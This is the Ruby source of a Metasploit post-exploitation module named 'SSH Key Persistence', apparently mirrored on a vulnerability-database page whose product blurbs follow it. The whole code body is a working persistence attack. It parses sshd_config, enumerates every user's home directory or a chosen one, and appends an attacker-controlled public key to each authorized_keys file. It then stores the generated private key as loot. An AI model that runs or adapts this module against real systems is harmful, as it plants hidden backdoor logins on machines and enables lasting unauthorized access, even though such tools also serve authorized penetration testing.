##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sshkey'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SSH Key Persistence',
'Description' => %q{
This module will add an SSH key to a specified user (or all), to allow
remote login via SSH at any time.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <[email protected]>'
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_separator
]
}
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
], self.class
)
end
def run
if session.type == 'meterpreter'
sep = session.fs.file.separator
else
# Guess, but it's probably right
sep = '/'
end
print_status('Checking SSH Permissions')
sshd_config = read_file(datastore['SSHD_CONFIG'])
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
if pub_key && pub_key == 'no'
print_error('Pubkey Authentication disabled')
elsif pub_key
vprint_good("Pubkey set to #{pub_key}")
end
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
if auth_key_file
auth_key_file = auth_key_file.gsub('%h', '')
auth_key_file = auth_key_file.gsub('%%', '%')
if auth_key_file.start_with? '/'
auth_key_file = auth_key_file[1..]
end
else
auth_key_file = '.ssh/authorized_keys'
end
print_status("Authorized Keys File: #{auth_key_file}")
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
auth_key_file = auth_key_file.split('/')[-1]
if datastore['USERNAME'].nil?
print_status("Finding #{auth_key_folder} directories")
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
else
if datastore['USERNAME'] == 'root'
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
else
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
end
vprint_status("Added User SSH Path: #{paths.first}")
end
if datastore['CREATESSHFOLDER'] == true
vprint_status("Attempting to create ssh folders that don't exist")
paths.each do |p|
unless directory?(p)
print_status("Creating #{p} folder")
cmd_exec("mkdir -m 700 -p #{p}")
end
end
end
paths = paths.select { |d| directory?(d) }
if paths.nil? || paths.empty?
print_error("No users found with a #{auth_key_folder} directory")
return
end
write_key(paths, auth_key_file, sep)
end
def write_key(paths, auth_key_file, sep)
if datastore['PUBKEY'].nil?
key = SSHKey.generate
our_pub_key = key.ssh_public_key
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
print_good("Storing new private key as #{loot_path}")
else
our_pub_key = ::File.read(datastore['PUBKEY'])
end
paths.each do |path|
path.chomp!
authorized_keys = "#{path}/#{auth_key_file}"
print_status("Adding key to #{authorized_keys}")
append_file(authorized_keys, "\n#{our_pub_key}")
print_good('Key Added')
next unless datastore['PUBKEY'].nil?
path_array = path.split(sep)
path_array.pop
user = path_array.pop
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.private_key.to_s,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation